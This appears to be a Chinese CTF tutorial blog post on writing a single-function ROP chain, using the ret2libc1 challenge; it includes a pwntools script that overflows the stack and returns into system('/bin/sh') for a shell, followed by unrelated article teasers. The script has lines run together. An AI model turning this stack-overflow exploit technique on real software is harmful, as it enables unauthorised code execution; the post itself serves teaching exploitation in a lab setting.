编写单个函数的ROP链

news/2024/10/4 5:24:24

什么是ROP链

在我初识栈溢出那篇博客已经详细的讲了函数的调用过程(基于X86框架),不了解的可以看一下,没有这个理论基础,是学不好ROP的。现在我们说一下什么是ROP。
ROP链就是通过返回地址的修改来完成的编程,调用特定的函数的一种编程模式。我们可以联想一下你做的最简单的栈溢出的题,返回地址覆盖system(/bin/sh)。这种也是一种ROP链,只是最简单的一种,所以说ROP也没有那么高端,说白了就是控制返回地址,控制参数。这篇我们来讲一下怎么控制参数

这是一个main函数调用system(/bin/sh)的栈分布,把func函数的返回地址覆盖为system的地址,这时候system就会作为一个新的函数进入函数内部,开辟栈帧,执行‘push edp;mov edp,esp;sub esp,0x ’。

根据我们学习函数调用的理论知识,我们可以知道,这时候对于system函数,a就是它的返回地址,b就是它的参数,所以就可以编写脚本控制b的内容来实现控制参数的传入,下面来小试牛刀
例题:https://gitee.com/tky5216/CTF/raw/master/PWN/stack/ret2libc1

查看保护,开了地址随机化,开了NX,那我们就不能用Shellcode了,IDA反编译一下,看看怎么个事

非常简单的栈溢出,但是没有发现后门函数,所以我们覆盖返回地址为system,传入变量/bin/sh
shift+F12打开string发现/bin/sh , 直接编写脚本

from pwn import *p = process('./ret2libc1')
elf = ELF('./ret2libc1')
system_addr = elf.plt['system']
binsh_addr = 0x0804A028
p.recvuntil('ret2libc1\n')
payload = 0x108 * b'a' + p32(1) + p32(system_addr) + p32(1) + p32(binsh_addr)p.sendline(payload)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/44355.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

计组要我命第五天中

要命计组(6) 开始时间 2024-06-1612:38:07 结束时间 2024-06-16 15:01:11 前言:吃完饭,睡会觉,继续计组[fine]. 总结:中场休息!

聊聊育种大模型

从去年年末开始到现在,大语言模型(Large Language Models,LLM)热度依旧不减。 有实力烧钱的机构在训练自己的LLM,没实力想凑热闹的更聚焦在垂直领域的应用上,绝大多数企业属于后者。 每个行业多多少都有人在做基础模型的微调和打造私有知识库,以期不被时代抛弃。 医疗、…

MyBatis 的缓存机制

1. MyBatis 的缓存机制 @目录1. MyBatis 的缓存机制2. 准备工作3. MyBatis 的一级缓存3.1 一级缓存失效情况/条件4. MyBatis 的二级缓存5. MyBatis 集成 EhCache 第三方缓存6. 总结:7. 最后:缓存(Cache) 缓存的作用:通过减少 IO 的方式,来提高程序的执行效率 。 MyBatis …

KAN:使用 Microsoft 的 KubeAI Application Nucleus简化边缘 AI

我们需要的是在 Kubernetes 上构建和管理边缘机器学习应用程序的一致方法,一种可以加快开发和交付速度的方法。这就是 KAN 的作用,即 KubeAI Application Nexus。正如介绍性博客文章所指出的那样,这个名字来自一个普通话动词,翻译为“观看”或“看”。KAN 是一个开源项目,…

word中批量修改mathtype公式格式

1、打开一个公式,设置好格式、字体大小等 2、预置/公式预置/保持到文佳,假设保存文件命名为measurement.eqp 3、打开word,mathtype/格式化公式,选择保存的measurement.eqp文件,确定即可

lnmp

一、编译安装Nginx 1.前期准备#安装依赖 yum -y install pcre-devel zlib-devel gcc gcc-c++ make#创建用户 useradd -M -s /sbin/nologin nginx#获取源码包 wget https://nginx.org/download/nginx-1.24.0.tar.gzcd /opt tar xf nginx-1.24.0.tar.gz #解压2.开始编译安装cd …

手把手教你改造 Sentinel Dashboard 实现配置持久化

一. 概述 Sentinel客户端默认情况下接收到 Dashboard 推送的规则配置后,可以实时生效。但是有一个致命缺陷,Dashboard和业务服务并没有持久化这些配置,当业务服务重启后,这些规则配置将全部丢失。 Sentinel 提供两种方式修改规则:通过 API 直接修改 (loadRules) 通过 Data…

WPF修改MessageBox样式(.NET6版本)

.NET6版本及其以上版本,通过GlobalUsings 实现WPF中对MessageBox样式的全局应用一、问题场景 使用HandyControl简写HC 作为基础UI组件库时,希望系统中所有的MessageBox 样式都使用HC的MessageBox,常规操作如下: 在对应的xxxx.cs 顶部使用using 指定特定类的命名空间。 usin…